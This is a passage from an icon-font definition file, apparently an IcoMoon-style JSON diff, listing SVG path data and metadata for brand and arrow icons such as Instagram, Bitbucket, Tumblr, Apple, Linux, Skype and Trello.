52.571s-52.571-23.429-52.571-52.571 23.429-52.571 52.571-52.571 52.571 23.429 52.571 52.571zM438.857 152c-64 0-201.143-5.143-258.857 17.714-20 8-34.857 17.714-50.286 33.143s-25.143 30.286-33.143 50.286c-22.857 57.714-17.714 194.857-17.714 258.857s-5.143 201.143 17.714 258.857c8 20 17.714 34.857 33.143 50.286s30.286 25.143 50.286 33.143c57.714 22.857 194.857 17.714 258.857 17.714s201.143 5.143 258.857-17.714c20-8 34.857-17.714 50.286-33.143s25.143-30.286 33.143-50.286c22.857-57.714 17.714-194.857 17.714-258.857s5.143-201.143-17.714-258.857c-8-20-17.714-34.857-33.143-50.286s-30.286-25.143-50.286-33.143c-57.714-22.857-194.857-17.714-258.857-17.714zM877.714 512c0 60.571 0.571 120.571-2.857 181.143-3.429 70.286-19.429 132.571-70.857 184s-113.714 67.429-184 70.857c-60.571 3.429-120.571 2.857-181.143 2.857s-120.571 0.571-181.143-2.857c-70.286-3.429-132.571-19.429-184-70.857s-67.429-113.714-70.857-184c-3.429-60.571-2.857-120.571-2.857-181.143s-0.571-120.571 2.857-181.143c3.429-70.286 19.429-132.571 70.857-184s113.714-67.429 184-70.857c60.571-3.429 120.571-2.857 181.143-2.857s120.571-0.571 181.143 2.857c70.286 3.429 132.571 19.429 184 70.857s67.429 113.714 70.857 184c3.429 60.571 2.857 120.571 2.857 181.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "instagram" + ], + "defaultCode": 61805, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "instagram", + "id": 329, + "order": 1185, + "prevSize": 28, + "code": 61805 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 329 + }, + { + "icon": { + "paths": [ + "M713.143 73.143c90.857 0 164.571 73.714 164.571 164.571v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571zM398.857 512c0-66.857-54.286-121.143-121.143-121.143s-121.143 54.286-121.143 121.143 54.286 121.143 121.143 121.143 121.143-54.286 121.143-121.143zM721.143 512c0-66.857-54.286-121.143-121.143-121.143s-121.143 54.286-121.143 121.143 54.286 121.143 121.143 121.143 121.143-54.286 121.143-121.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flickr" + ], + "defaultCode": 61806, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "flickr", + "id": 330, + "order": 1186, + "prevSize": 28, + "code": 61806 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 330 + }, + { + "icon": { + "paths": [ + "M438.857 355.429l114.857 174.857h-229.714zM647.429 658.286h53.714l-262.286-394.857-262.286 394.857h53.714l59.429-91.429h298.286zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "adn" + ], + "defaultCode": 61808, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "adn", + "id": 331, + "order": 1187, + "prevSize": 28, + "code": 61808 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 331 + }, + { + "icon": { + "paths": [ + "M465.714 490.857c6.286 48-52 85.714-92.571 61.143-45.714-20-45.714-92.571-1.143-113.143 38.286-23.429 93.714 7.429 93.714 52zM529.143 478.857c-10.286-81.143-102.286-134.857-177.143-101.143-47.429 21.143-79.429 71.429-77.143 124.571 2.857 69.714 69.143 126.857 138.857 120.571s124-74.286 115.429-144zM665.714 169.143c-25.143-33.143-68-38.857-105.714-45.143-106.857-17.143-216.571-17.714-323.429 1.143-35.429 5.714-75.429 12-97.714 44 36.571 34.286 88.571 39.429 135.429 45.143 84.571 10.857 171.429 11.429 256 0.571 47.429-5.714 100-10.286 135.429-45.714zM698.286 760.571c-16 56-6.857 131.429-66.286 164-102.286 56.571-226.286 62.857-338.857 42.857-59.429-10.857-129.143-29.714-161.714-85.714-14.286-54.857-23.429-110.857-32.571-166.857l3.429-9.143 10.286-5.143c170.286 112.571 408.571 112.571 579.429 0 26.857 8 6.857 40.571 6.286 60zM801.714 211.429c-19.429 125.143-41.714 249.714-63.429 374.286-6.286 36.571-41.714 57.143-71.429 72.571-106.857 53.714-231.429 62.857-348.571 50.286-79.429-8.571-160.571-29.714-225.143-79.429-30.286-23.429-30.286-63.429-36-97.143-20-117.143-42.857-234.286-57.143-352.571 6.857-51.429 64.571-73.714 107.429-89.714 57.143-21.143 118.286-30.857 178.857-36.571 129.143-12.571 261.143-8 386.286 28.571 44.571 13.143 92.571 31.429 122.857 69.714 13.714 17.714 9.143 40 6.286 60z" + ], + "width": 809.1062857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bitbucket" + ], + "defaultCode": 61809, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bitbucket", + "id": 332, + "order": 1188, + "prevSize": 28, + "code": 61809 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 332 + }, + { + "icon": { + "paths": [ + "M484.571 497.143c0-32.571-40-54.857-67.429-38.286-32.571 15.429-32.571 68 0.571 81.714 29.714 17.714 71.429-9.143 66.857-43.429zM530.286 488c6.286 50.286-33.143 99.429-83.429 104s-97.714-36.571-100-87.429c-1.714-37.714 21.714-74.286 56-89.714 53.714-24 120 14.857 127.429 73.143zM628.571 264.571c-25.143 25.714-63.429 29.143-97.143 33.143-61.143 8-123.429 7.429-185.143 0-33.714-4.571-70.857-8.571-97.143-33.143 16-22.857 44.571-27.429 70.286-31.429 77.143-13.714 156-13.143 233.143-0.571 27.429 4 58.286 8.571 76 32zM652.571 690.857c0-13.714 14.286-37.143-5.143-42.857-122.857 81.143-294.286 81.143-417.714 0l-6.857 3.429-2.857 6.857c6.857 40 13.143 80.571 23.429 120 23.429 40.571 73.714 54.286 116.571 61.714 81.143 14.857 170.857 10.286 244.571-30.286 42.857-24 36-78.286 48-118.857zM726.857 294.857c2.286-13.714 5.143-30.286-4.571-42.857-21.714-27.429-56-40.571-88.571-50.286-90.286-26.286-185.714-29.714-278.286-20.571-44 4-88 11.429-129.143 26.286-30.857 12-72.571 28-77.714 64.571 10.286 85.714 26.857 169.714 41.143 254.857 4.571 24 4.571 52.571 26.286 69.714 46.286 35.429 105.143 50.857 162.286 57.143 84.571 9.143 174.286 2.857 251.429-36 21.714-11.429 46.857-26.286 51.429-52.571 16-89.714 31.429-179.429 45.714-270.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bitbucket-square" + ], + "defaultCode": 61810, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bitbucket-square", + "id": 333, + "order": 1189, + "prevSize": 28, + "code": 61810 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 333 + }, + { + "icon": { + "paths": [ + "M539.429 759.429l45.714 135.429c-17.143 25.714-94.857 54.857-164.571 56-207.429 3.429-285.714-147.429-285.714-253.714v-310.857h-96v-122.857c144-52 178.857-182.286 186.857-256.571 0.571-4.571 4.571-6.857 6.857-6.857h139.429v242.286h190.286v144h-190.857v296c0 40 14.857 95.429 91.429 93.714 25.143-0.571 58.857-8 76.571-16.571z" + ], + "width": 623.9817142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tumblr" + ], + "defaultCode": 61811, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tumblr", + "id": 334, + "order": 1190, + "prevSize": 28, + "code": 61811 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 334 + }, + { + "icon": { + "paths": [ + "M649.143 834.857l-35.429-104.571c-13.714 6.857-39.429 12.571-58.857 12.571-58.286 1.714-70.286-40.571-70.286-72v-227.429h146.857v-110.857h-146.286v-186.286h-107.429c-1.714 0-4.571 1.714-5.143 5.714-6.286 56.571-33.143 157.143-144 197.143v94.286h74.286v238.857c0 81.714 60 198.286 219.429 195.429 53.714-1.143 113.714-23.429 126.857-42.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tumblr-square" + ], + "defaultCode": 61812, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tumblr-square", + "id": 335, + "order": 1191, + "prevSize": 28, + "code": 61812 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 335 + }, + { + "icon": { + "paths": [ + "M437.143 742.286c2.857 6.857 1.714 14.286-2.857 20l-200 219.429c-3.429 3.429-8 5.714-13.143 5.714v0c-5.143 0-10.286-2.286-13.714-5.714l-202.857-219.429c-4.571-5.714-5.714-13.143-2.857-20 2.857-6.286 9.143-10.857 16.571-10.857h128v-713.143c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v713.143h128c7.429 0 13.714 4 16.571 10.857z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "long-arrow-down" + ], + "defaultCode": 61813, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "long-arrow-down", + "id": 336, + "order": 1192, + "prevSize": 28, + "code": 61813 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 336 + }, + { + "icon": { + "paths": [ + "M437.143 281.714c-2.857 6.286-9.143 10.857-16.571 10.857h-128v713.143c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-713.143h-128c-7.429 0-13.714-4-16.571-10.857s-1.714-14.286 2.857-20l200-219.429c3.429-3.429 8-5.714 13.143-5.714v0c5.143 0 10.286 2.286 13.714 5.714l202.857 219.429c4.571 5.714 5.714 13.143 2.857 20z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "long-arrow-up" + ], + "defaultCode": 61814, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "long-arrow-up", + "id": 337, + "order": 1193, + "prevSize": 28, + "code": 61814 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 337 + }, + { + "icon": { + "paths": [ + "M1024 457.143v109.714c0 10.286-8 18.286-18.286 18.286h-713.143v128c0 7.429-4 13.714-10.857 16.571s-14.286 1.714-20-2.857l-219.429-200c-3.429-3.429-5.714-8-5.714-13.143v0c0-5.143 2.286-10.286 5.714-13.714l219.429-202.286c5.714-5.143 13.143-6.286 20-3.429 6.286 2.857 10.857 9.143 10.857 16.571v128h713.143c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "long-arrow-left" + ], + "defaultCode": 61815, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "long-arrow-left", + "id": 338, + "order": 1194, + "prevSize": 28, + "code": 61815 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 338 + }, + { + "icon": { + "paths": [ + "M987.429 510.286c0 5.143-2.286 10.286-5.714 13.714l-219.429 202.286c-5.714 5.143-13.143 6.286-20 3.429-6.286-2.857-10.857-9.143-10.857-16.571v-128h-713.143c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h713.143v-128c0-7.429 4-13.714 10.857-16.571s14.286-1.714 20 2.857l219.429 200c3.429 3.429 5.714 8 5.714 13.143v0z" + ], + "width": 987.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "long-arrow-right" + ], + "defaultCode": 61816, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "long-arrow-right", + "id": 339, + "order": 1195, + "prevSize": 28, + "code": 61816 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 339 + }, + { + "icon": { + "paths": [ + "M796 694.286c-14.286 45.143-37.143 93.143-70.286 142.857-49.143 74.857-98.286 112-146.857 112-19.429 0-45.714-6.286-80-18.286-33.714-12.571-62.857-18.286-86.286-18.286-22.857 0-50.286 6.286-81.143 18.857-31.429 13.143-56.571 19.429-75.429 19.429-58.857 0-115.429-49.714-172-148-55.429-98.286-84-193.714-84-287.429 0-87.429 21.714-158.286 64.571-213.714 42.857-54.857 96.571-82.286 162.286-82.286 28 0 61.143 5.714 101.143 17.143 39.429 11.429 65.714 17.143 78.857 17.143 16.571 0 44-6.286 81.714-19.429 37.714-12.571 70.857-19.429 98.857-19.429 45.714 0 86.286 12.571 121.714 37.143 20 13.714 40 33.143 59.429 57.143-29.714 25.143-51.429 47.429-65.143 67.429-24.571 35.429-37.143 74.857-37.143 118.286 0 46.857 13.143 89.714 39.429 127.429s56.571 61.714 90.286 72zM581.143 24c0 23.429-5.714 49.714-16.571 77.714-11.429 28.571-29.143 54.857-53.143 78.857-20.571 20.571-41.143 34.286-61.714 41.143-13.143 4-32.571 7.429-59.429 9.714 1.143-56.571 16-105.714 44.571-146.857s76.571-69.143 142.857-84.571c1.143 5.143 2.286 9.143 2.857 12.571 0 4 0.571 7.429 0.571 11.429z" + ], + "width": 796.0137142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "apple" + ], + "defaultCode": 61817, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "apple", + "id": 340, + "order": 1196, + "prevSize": 28, + "code": 61817 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 340 + }, + { + "icon": { + "paths": [ + "M389.714 574.857v372l-389.714-53.714v-318.286h389.714zM389.714 150.286v376.571h-389.714v-322.857zM950.857 574.857v449.143l-518.286-71.429v-377.714h518.286zM950.857 73.143v453.714h-518.286v-382.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "windows" + ], + "defaultCode": 61818, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "windows", + "id": 341, + "order": 1197, + "prevSize": 28, + "code": 61818 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 341 + }, + { + "icon": { + "paths": [ + "M281.714 276c12.571 0 22.286-10.286 22.286-22.286s-9.714-22.286-22.286-22.286c-12 0-21.714 10.286-21.714 22.286s9.714 22.286 21.714 22.286zM522.857 276c12 0 21.714-10.286 21.714-22.286s-9.714-22.286-21.714-22.286c-12.571 0-22.286 10.286-22.286 22.286s9.714 22.286 22.286 22.286zM58.857 381.143c32 0 58.286 26.286 58.286 58.286v245.714c0 32.571-25.714 58.857-58.286 58.857s-58.857-26.286-58.857-58.857v-245.714c0-32 26.286-58.286 58.857-58.286zM664.571 392v380.571c0 34.857-28 62.857-62.286 62.857h-42.857v129.714c0 32.571-26.286 58.857-58.857 58.857s-58.857-26.286-58.857-58.857v-129.714h-78.857v129.714c0 32.571-26.286 58.857-58.857 58.857-32 0-58.286-26.286-58.286-58.857l-0.571-129.714h-42.286c-34.857 0-62.857-28-62.857-62.857v-380.571h524.571zM532 160.571c80 41.143 134.286 120 134.286 210.857h-528.571c0-90.857 54.286-169.714 134.857-210.857l-40.571-74.857c-2.286-4-1.143-9.143 2.857-11.429 4-1.714 9.143-0.571 11.429 3.429l41.143 75.429c34.857-15.429 73.714-24 114.857-24s80 8.571 114.857 24l41.143-75.429c2.286-4 7.429-5.143 11.429-3.429 4 2.286 5.143 7.429 2.857 11.429zM804.571 439.429v245.714c0 32.571-26.286 58.857-58.857 58.857-32 0-58.286-26.286-58.286-58.857v-245.714c0-32.571 26.286-58.286 58.286-58.286 32.571 0 58.857 25.714 58.857 58.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "android" + ], + "defaultCode": 61819, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "android", + "id": 342, + "order": 1198, + "prevSize": 28, + "code": 61819 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 342 + }, + { + "icon": { + "paths": [ + "M378.857 234.857v0c-11.429 1.143-7.429 11.429-13.714 11.429-5.714 0.571-4.571-12.571 13.714-11.429zM428.571 242.857c-5.714 1.714-6.286-9.143-16.571-6.286v0c16.571-7.429 22.286 4 16.571 6.286zM228 486.857c-5.143-1.714-4 8.571-9.143 16.571-4 7.429-14.286 13.143-6.286 14.286v0c2.857 0.571 10.857-6.286 14.286-14.286 2.857-9.714 5.714-14.857 1.143-16.571zM716.571 692c0-10.286-22.286-20-31.429-24 15.429-51.429 8.571-72-1.714-120.571-8-36.571-41.714-86.286-68-101.714 6.857 5.714 19.429 22.286 32.571 47.429 22.857 42.857 45.714 106.286 30.857 158.857-5.714 20.571-19.429 23.429-28.571 24-40 4.571-16.571-48-33.143-119.429-18.857-80-38.286-85.714-42.857-92-23.429-104-49.143-93.714-56.571-132.571-6.286-34.857 30.286-63.429-19.429-73.143-15.429-2.857-37.143-18.286-45.714-19.429s-13.143-57.714 18.857-59.429c31.429-2.286 37.143 35.429 31.429 50.286-9.143 14.857 0.571 20.571 16 15.429 12.571-4 4.571-37.143 7.429-41.714-8-48-28-54.857-48.571-58.857-78.857 6.286-43.429 93.143-51.429 85.143-11.429-12-44.571-1.143-44.571-8.571 0.571-44.571-14.286-70.286-34.857-70.857-22.857-0.571-32 31.429-33.143 49.714-1.714 17.143 9.714 53.143 18.286 50.286 5.714-1.714 15.429-13.143 5.143-12.571-5.143 0-13.143-12.571-14.286-27.429-0.571-14.857 5.143-29.714 24.571-29.143 22.286 0.571 22.286 45.143 20 46.857-7.429 5.143-16.571 14.857-17.714 16.571-7.429 12-21.714 15.429-27.429 20.571-9.714 10.286-12 21.714-4.571 25.714 26.286 14.857 17.714 32 54.286 33.143 24 1.143 41.714-3.429 58.286-8.571 12.571-4 53.143-12.571 61.714-27.429 4-6.286 8.571-6.286 11.429-4.571 5.714 2.857 6.857 13.714-7.429 17.143-20 5.714-40 16.571-58.286 23.429-17.714 7.429-23.429 10.286-40 13.143-37.714 6.857-65.714-13.714-40.571 10.857 8.571 8 16.571 13.143 38.286 12.571 48-1.714 101.143-59.429 106.286-33.714 1.143 5.714-14.857 12.571-27.429 18.857-44.571 21.714-76 65.143-104.571 50.286-25.714-13.714-51.429-77.143-50.857-48.571 0.571 44-57.714 82.857-30.857 133.143-17.714 4.571-57.143 88.571-62.857 132-3.429 25.143 2.286 56-4 73.143-8.571 25.143-47.429-24-34.857-84 2.286-10.286 0-12.571-2.857-7.429-15.429 28-6.857 67.429 5.714 94.857 5.143 12 18.286 17.143 28 27.429 20 22.857 98.857 81.143 112.571 95.429 17.714 16.571 12.571 55.429-24 59.429v0c18.857 35.429 37.143 38.857 36.571 96.571 21.714-11.429 13.143-36.571 4-52.571-6.286-11.429-14.286-16.571-12.571-19.429 1.143-1.714 12.571-11.429 18.857-4 19.429 21.714 56 25.714 94.857 20.571 39.429-4.571 81.714-18.286 101.143-49.714 9.143-14.857 15.429-20 19.429-17.143 4.571 2.286 6.286 12.571 5.714 29.714-0.571 18.286-8 37.143-13.143 52.571-5.143 17.714-6.857 29.714 10.286 30.286 4.571-32 13.714-63.429 16-95.429 2.857-36.571-23.429-104 5.143-137.714 7.429-9.143 16.571-10.286 29.143-10.286 1.714-45.714 72-42.286 95.429-23.429zM357.714 219.429c2.286-14.286-4.571-24.571-8-25.714-6.857-1.714-5.714 8.571-2.286 7.429v0c2.286 0 5.143 3.429 4 8.571-1.143 6.857-0.571 11.429 4.571 11.429 0.571 0 1.714 0 1.714-1.714zM597.143 332c-2.286-10.857-10.286-6.857-19.429-12.571-10.857-6.857-13.143-18.286-17.143-14.286v0c-12 13.143 14.857 40.571 26.286 42.857 6.857 1.143 12-8 10.286-16zM495.429 210.286c0.571-13.714-11.429-20.571-14.286-20-7.429 0.571-5.143 4-1.714 5.143v0c4.571 1.143 9.143 9.143 10.286 17.714 0 1.143 5.714-1.143 5.714-2.857zM526.286 77.143c0.571-2.857-6.857-6.286-12-10.286-4.571-4.571-9.143-8.571-13.714-8.571-11.429 1.143-5.714 13.143-7.429 18.857v0c-2.286 6.286-10.857 11.429-5.143 16 5.143 4 8.571-6.286 19.429-10.286 2.857-1.143 16 0.571 18.857-5.714zM849.143 843.429c70.286 43.429-26.286 79.429-68 100.571-32.571 16.571-76 53.143-92 68.571-12 11.429-61.714 17.143-89.714 2.857-32.571-16.571-15.429-42.857-65.714-44.571-25.143-0.571-49.714-0.571-74.286-0.571-21.714 0.571-43.429 1.714-65.714 2.286-75.429 1.714-82.857 50.286-131.429 48.571-33.143-1.143-74.857-27.429-146.857-42.286-50.286-10.286-98.857-13.143-109.143-35.429s12.571-47.429 14.286-69.143c1.714-29.143-21.714-68.571-4.571-83.429 14.857-13.143 46.286-3.429 66.857-14.857 21.714-12.571 30.857-22.286 30.857-49.143 8 27.429-0.571 49.714-18.286 60.571-10.857 6.857-30.857 10.286-47.429 8.571-13.143-1.143-21.143 0.571-24.571 5.714-5.143 6.286-3.429 17.714 2.857 32.571s13.714 24.571 12.571 42.857c-0.571 18.286-21.143 40-17.714 55.429 1.143 5.714 6.857 10.857 21.143 14.857 22.857 6.286 64.571 12.571 105.143 22.286 45.143 11.429 92 32 121.143 28 86.857-12 37.143-105.143 23.429-127.429v0c-73.714-115.429-122.286-190.857-161.143-161.143-9.714 8-10.286-19.429-9.714-30.286 1.714-37.714 20.571-51.429 32-80.571 21.714-55.429 38.286-118.857 71.429-151.429 24.571-32 63.429-84 70.857-111.429-6.286-59.429-8-122.286-9.143-177.143-1.143-58.857 8-110.286 74.286-146.286 16-8.571 37.143-12 59.429-12 39.429-0.571 83.429 10.857 111.429 31.429 44.571 33.143 72.571 103.429 69.143 153.714-2.286 39.429 4.571 80 17.143 122.286 14.857 49.714 38.286 84.571 76 124.571 45.143 48 80.571 142.286 90.857 202.286 9.143 56-3.429 90.857-15.429 92.571-18.286 2.857-29.714 60.571-86.857 58.286-36.571-1.714-40-23.429-50.286-42.286-16.571-29.143-33.143-20-39.429 10.857-3.429 15.429-1.143 38.286 4 55.429 10.286 36 6.857 69.714 0.571 111.429-12 78.857 55.429 93.714 100.571 56 44.571-37.143 54.286-42.857 110.286-62.286 85.143-29.143 56.571-54.857 10.857-70.286-41.143-13.714-42.857-82.857-28-96 3.429 74.286 42.286 85.143 58.286 95.429z" + ], + "width": 915.4559999999999, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linux" + ], + "defaultCode": 61820, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "linux", + "id": 343, + "order": 1199, + "prevSize": 28, + "code": 61820 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 343 + }, + { + "icon": { + "paths": [ + "M585.143 857.143c-5.714-33.143-27.429-147.429-80-284.571-0.571 0-1.714 0.571-2.286 0.571 0 0-222.286 77.714-294.286 234.286-3.429-2.857-8.571-6.286-8.571-6.286 65.143 53.143 148 85.714 238.857 85.714 52 0 101.143-10.857 146.286-29.714zM479.429 510.286c-9.143-21.143-19.429-42.286-30.286-63.429-193.143 57.714-378.286 53.143-384.571 53.143-0.571 4-0.571 8-0.571 12 0 96 36.571 184 96 250.286v0c102.286-182.286 304.571-247.429 304.571-247.429 5.143-1.714 10.286-2.857 14.857-4.571zM418.286 389.143c-65.143-115.429-134.286-209.143-139.429-216-104.571 49.143-182.286 145.714-206.857 261.714 9.714 0 166.286 1.714 346.286-45.714zM809.143 571.429c-8-2.286-112.571-35.429-233.714-16.571 49.143 135.429 69.143 245.714 73.143 268 84-56.571 143.429-146.857 160.571-251.429zM349.143 148c-0.571 0-0.571 0-1.143 0.571 0 0 0.571-0.571 1.143-0.571zM686.286 230.857c-65.714-58.286-152.571-93.714-247.429-93.714-30.286 0-60 4-88.571 10.857 5.714 7.429 76.571 100.571 140.571 218.286 141.143-52.571 194.286-133.714 195.429-135.429zM813.714 508c-1.143-88.571-32.571-170.286-85.143-234.286-1.143 1.143-61.143 88-209.143 148.571 8.571 17.714 17.143 36 25.143 54.286 2.857 6.286 5.143 13.143 8 19.429 129.143-16.571 256.571 11.429 261.143 12zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dribbble" + ], + "defaultCode": 61821, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dribbble", + "id": 344, + "order": 1200, + "prevSize": 28, + "code": 61821 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 344 + }, + { + "icon": { + "paths": [ + "M670.286 607.429c0-99.429-96.571-133.714-177.714-152l-59.429-13.714c-43.429-10.286-76-17.714-76-50.857 0-30.286 32-44 82.286-44 89.714 0 91.429 65.714 146.857 65.714 37.143 0 59.429-29.143 59.429-62.286 0-65.714-109.143-108.571-217.143-108.571-98.857 0-213.714 42.857-213.714 158.857 0 96 64 130.286 147.429 150.286l83.429 20.571c50.857 12.571 82.286 18.286 82.286 54.857 0 29.143-32.571 51.429-82.857 51.429-105.714 0-111.429-88-172.571-88-40 0-57.714 28.571-57.714 60 0 70.286 107.429 127.429 236 127.429 107.429 0 219.429-53.714 219.429-169.714zM877.714 731.429c0 121.143-98.286 219.429-219.429 219.429-50.286 0-96.571-17.143-133.714-45.714-27.429 5.714-56.571 9.143-85.714 9.143-222.286 0-402.286-180-402.286-402.286 0-29.143 3.429-58.286 9.143-85.714-28.571-37.143-45.714-83.429-45.714-133.714 0-121.143 98.286-219.429 219.429-219.429 50.286 0 96.571 17.143 133.714 45.714 27.429-5.714 56.571-9.143 85.714-9.143 222.286 0 402.286 180 402.286 402.286 0 29.143-3.429 58.286-9.143 85.714 28.571 37.143 45.714 83.429 45.714 133.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "skype" + ], + "defaultCode": 61822, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "skype", + "id": 345, + "order": 1201, + "prevSize": 28, + "code": 61822 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 345 + }, + { + "icon": { + "paths": [ + "M571.429 248l21.143-110.857c4-18.286-9.714-32.571-25.143-32.571h-406.857c-18.286 0-30.857 16.571-30.857 30.857v629.143c0 1.714 1.714 2.286 3.429 0.571 149.714-180 166.286-201.143 166.286-201.143 17.143-20 24-23.429 49.143-23.429h136.571c18.857 0 29.714-16 31.429-25.143s17.714-92.571 21.143-109.143-12-33.714-27.429-33.714h-168c-22.286 0-38.286-16-38.286-38.286v-24c0-22.286 16-37.714 38.286-37.714h197.714c13.714 0 29.143-12.571 31.429-24.571zM701.143 121.143c-21.143 102.857-84.571 428-90.286 451.429-6.857 26.857-17.143 73.714-82.286 73.714h-154.857c-6.286 0-6.857-0.571-12.571 5.714 0 0-4 4.571-243.429 282.286-18.857 21.714-49.714 17.714-61.143 13.143s-31.429-18.286-31.429-56v-805.714c0-33.143 20.571-85.714 90.286-85.714h507.429c74.286 0 94.286 42.286 78.286 121.143zM701.143 121.143l-90.286 451.429c5.714-23.429 69.143-348.571 90.286-451.429z" + ], + "width": 742.2537142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "foursquare" + ], + "defaultCode": 61824, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "foursquare", + "id": 346, + "order": 1202, + "prevSize": 28, + "code": 61824 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 346 + }, + { + "icon": { + "paths": [ + "M402.286 768v-585.143c0-10.286-8-18.286-18.286-18.286h-274.286c-10.286 0-18.286 8-18.286 18.286v585.143c0 10.286 8 18.286 18.286 18.286h274.286c10.286 0 18.286-8 18.286-18.286zM786.286 548.571v-365.714c0-10.286-8-18.286-18.286-18.286h-274.286c-10.286 0-18.286 8-18.286 18.286v365.714c0 10.286 8 18.286 18.286 18.286h274.286c10.286 0 18.286-8 18.286-18.286zM877.714 109.714v804.571c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trello" + ], + "defaultCode": 61825, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "trello", + "id": 347, + "order": 1203, + "prevSize": 28, + "code": 61825 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 347 + }, + { + "icon": { + "paths": [ + "M731.429 603.429c0 30.286-24.571 54.857-54.857 54.857-18.286 0-35.429-9.143-45.714-24.571l-129.714-194.857h-25.714v75.429l141.143 234.857c3.429 5.714 5.143 12 5.143 18.857 0 20-16.571 36.571-36.571 36.571h-109.714v155.429c0 35.429-28.571 64-64 64h-91.429c-34.857 0-64-28.571-64-64v-155.429h-109.714c-20 0-36.571-16.571-36.571-36.571 0-6.857 1.714-13.143 5.143-18.857l141.143-234.857v-75.429h-25.714l-129.714 194.857c-10.286 15.429-27.429 24.571-45.714 24.571-30.286 0-54.857-24.571-54.857-54.857 0-10.857 3.429-21.714 9.143-30.286l146.286-219.429c22.857-33.714 58.286-61.143 100.571-61.143h219.429c42.286 0 77.714 27.429 100.571 61.143l146.286 